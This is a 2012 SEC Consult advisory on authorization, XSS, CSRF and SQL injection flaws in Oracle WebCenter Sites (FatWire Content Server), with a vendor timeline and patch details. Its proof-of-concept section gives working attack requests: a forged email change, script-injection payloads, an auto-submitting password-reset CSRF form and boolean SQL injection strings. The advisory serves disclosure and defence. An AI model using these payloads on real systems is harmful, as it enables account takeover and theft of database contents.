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Oracle WebCenter Sites (FatWire Content Server) - Multiple Vulnerabilities

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SEC Consult Vulnerability Lab Security Advisory < 20121017-2 >

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              title: Multiple vulnerabilities in Oracle WebCenter Sites

            product: Oracle WebCenter Sites (former FatWire Content Server)

 vulnerable version: 6.1, 6.2, 6.3.x, 7, 7.0.1, 7.0.2, 7.0.3, 7.5, 7.6.1,

                     7.6.2, 11.1.1.6.0

      fixed version: Patch information see sections below

                CVE: CVE-2012-3183 (S0183794)

                     CVE-2012-3184 (S0183815)

                     CVE-2012-3185 (S0183827)

                     CVE-2012-3186 (S0183836)

             impact: High

           homepage: http://www.oracle.com/us/corporate/acquisitions/fatwire/index.html

              found: 21.05.2012

                 by: F. Lukavsky 

                     SEC Consult Vulnerability Lab 

                     https://www.sec-consult.com

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Vendor description:

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FatWire Content Server is a predecessor product of Oracle WebCenter Sites.



FatWire Content Server is a software suite that allows you to create and 

manage content to be published on your online site. The content is stored in 

Content Server's database. You create and manipulate the content using Content 

Server's interface, which provides a simple and intuitive way of accessing and 

working with the CS database.



FatWire Content Server 7 - Advanced Interface User's Guide

<http://docs.oracle.com/cd/E28662_01/doc.76/content_server/cs_user_advanced_76p2.pdf>





Vulnerability overview/description:

-----------------------------------

1) Authorization Issues

   The backend of the Content Server fails to validate authorization for

   certain requests. This allows low privileged users manipulating data, 

   which they are not authorized to.

   

2) Cross-Site Scripting

   The backend of the Content Server is prone to permanent and reflected 

   Cross-Site Scripting attacks. The vulnerability can be used to include 

   HTML- or JavaScript code to the affected web page. The code is executed 

   in the browser of users if they visit the manipulated site. The 

   vulnerability can be used to change the contents of the displayed site, 

   redirect to other sites or steal user credentials. Additionally, Portal 

   users are potential victims of browser exploits and JavaScript Trojans. 

   

3) Cross-Site Request Forgery

   An attacker can use Cross-Site Request Forgery to perform arbitrary web 

   requests with the identity of the victim without being noticed by the 

   victim. Although responses to these requests are not delivered to the 

   attacker, in many cases it is sufficient to be able to compromise the 

   integrity of the victim's information stored on the site or to perform 

   certain, possibly compromising requests to other sites.

   

4) SQL Injection

   Due to insufficient input validation, the backend of FatWire Content 

   Server allows the injection of direct SQL commands. By exploiting the 

   vulnerability, an attacker gains access to all records stored in the 

   database with the privileges of database user CSAUTHORING.





Proof of concept:

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1) In the user profile, users are given the possibility to change their email 

   address. By supplying arbitrary user names, a low privileged user can 

   change the email address of other users:

   

        POST /cs/ContentServer HTTP/1.1



        _charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=<username

        of the target user>&email=<new email

        address>&selectedLocale=None&userid=userid%3D<own user

        

id>%2Cou%3DPeople&manageprofile=true&password=&password2=&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit



2) The display name of page elements are included unsanitized when viewing 

   the element's details. Creating a new image with the following manipulated 

   parameter demonstrates this issue:

   

   -----------------------------6083206021221

   Content-Disposition: form-data; name="flexassets:name"

   

   xxx.jsp</script><script>alert(document.location)</script>

   -----------------------------6083206021221

   

   

   Additionally, users can change their email address in the user profile 

   management. The email address is included unsanitized when viewing a 

   manipulated profile. Furthermore, by combining this issue with the attack 

   described in vulnerability (1), the Cross-Site Scripting payload can be 

   embedded in the user profile of arbitrary users. The following request 

   demonstrates this issue:

   

        POST /cs/ContentServer HTTP/1.1



        _charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=<username

        of the target user>&email=<manipulated email

        address>%3Cscript%3Ealert%28document.location%29%3C%2Fscript%3E&selectedLocale=None&userid=userid%3D<own

        user

        

id>%2Cou%3DPeople&manageprofile=true&password=&password2=&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit

        Many parameters are included unsanitized in error messages, which

        leads to reflected Cross-Site Scripting vulnerabilities:

        

http://fatwire/cs/ContentServer?username=<script>alert(document.location)</script>&manageprofile=true&action=edit&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfileFront

 

   

http://fatwire/cs/ContentServer?StartItem=1327334935133";><script>alert(document.location)</script>&AssetType=Page&cs_environment=standard&pagename=OpenMarket%2FXcelerate%2FActions%2FNewContentFront&cs_formmode=WCM

   

   These examples raise no claims of being complete.   



   

3) A low privileged user can view all available users and their user ids 

   when creating a workflow report. When the target user submits the 

   following form while being logged in, an attacker can change the 

   password of the target user to an arbitrary value:

   

    <html>

          <body onload="document.forms[0].submit()">

                <form action="http://fatwire/cs/ContentServer"; method="POST">

                  <input type="hidden" name="_charset_" value="UTF-8" />

                  <input type="hidden" name="cs_environment"

value="standard" /> <input type="hidden" name="cs_formmode" value="WCM" />

                  <input type="hidden" name="username" value="<target user>" />

                  <input type="hidden" name="email" value="" />

                  <input type="hidden" name="selectedLocale" value="None" />

                  <input type="hidden" name="userid" 

                                 value="userid=<target user id>,ou=People" />

                  <input type="hidden" name="modifyPassword" value="on" />

                  <input type="hidden" name="manageprofile" value="true" />

                  <input type="hidden" name="password" value="<new

password>" /> <input type="hidden" name="password2" value="<new password>" />

                  <input type="hidden" name="pagename" 

                                 value="OpenMarket/Xcelerate/Admin/UserProfilePost" />

                  <input type="hidden" name="action" value="edit" />

                </form>

          </body>

        </html>



   

4) The parameter selectedLocale of the user profile management form is 

   vulnerable to a SQL Injection vulnerability. The following true comparison 

   added to the SQL query results in the locale preference to be set to 

   English (United States):

   

        POST /cs/ContentServer HTTP/1.1



        _charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=user&email=mail () example 

com&selectedLocale=None'+or+1%3d1--+&userid=userid%

        

3D1327334925026%2Cou%3DPeople&manageprofile=true&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit 

   The following request with a false comparison being added to the SQL query 

   results in the locale preference to be set to no preference:

   

        POST /cs/ContentServer HTTP/1.1



        _charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=user&email=mail () example 

com&selectedLocale=None'+or+1%3d2--+&userid=userid%

        

3D1327334925026%2Cou%3DPeople&manageprofile=true&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit



   Observing these differences, arbitrary data of the database can be 

   extracted bitwise. This includes for example the password hashes of other 

   Content Server users.





Vulnerable / tested versions:

-----------------------------

The following installation has been tested: FatWire Content Server 7.6.1

Hotfix 4





The following versions have been supplied by Oracle and are vulnerable too:

6.1, 6.2, 6.3.x, 7, 7.0.1, 7.0.2, 7.0.3, 7.5, 7.6.1, 7.6.2, 11.1.1.6.0







Vendor contact timeline:

------------------------

2012-06-04: Contacting vendor through secalert_us () oracle com

2012-06-07: Initial vendor response - issues will be verified

2012-06-21: Under investigation / Being fixed in main codeline

2012-07-24: Issue fixed in main codeline, scheduled for a future CPU

2012-10-15: Oracle: Advisory and patches will be released on 2012-10-16

2012-10-16: Oracle releases October 2012 CPU

2012-10-17: Public release of SEC Consult advisory







Solution:

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Apply latest patches, see:



http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html

https://support.oracle.com/rs?type=doc&id=1477727.1





Workaround:

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Restrict access to the backend of the FatWire Content Server.

Do not visit untrusted sites while being logged into the backend of the 

FatWire Content Server.

Keep the time being logged in as short as possible and do not activate 

the option to stay logged into the backend of the FatWire Content Server.





Advisory URL:

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https://www.sec-consult.com/en/advisories.html





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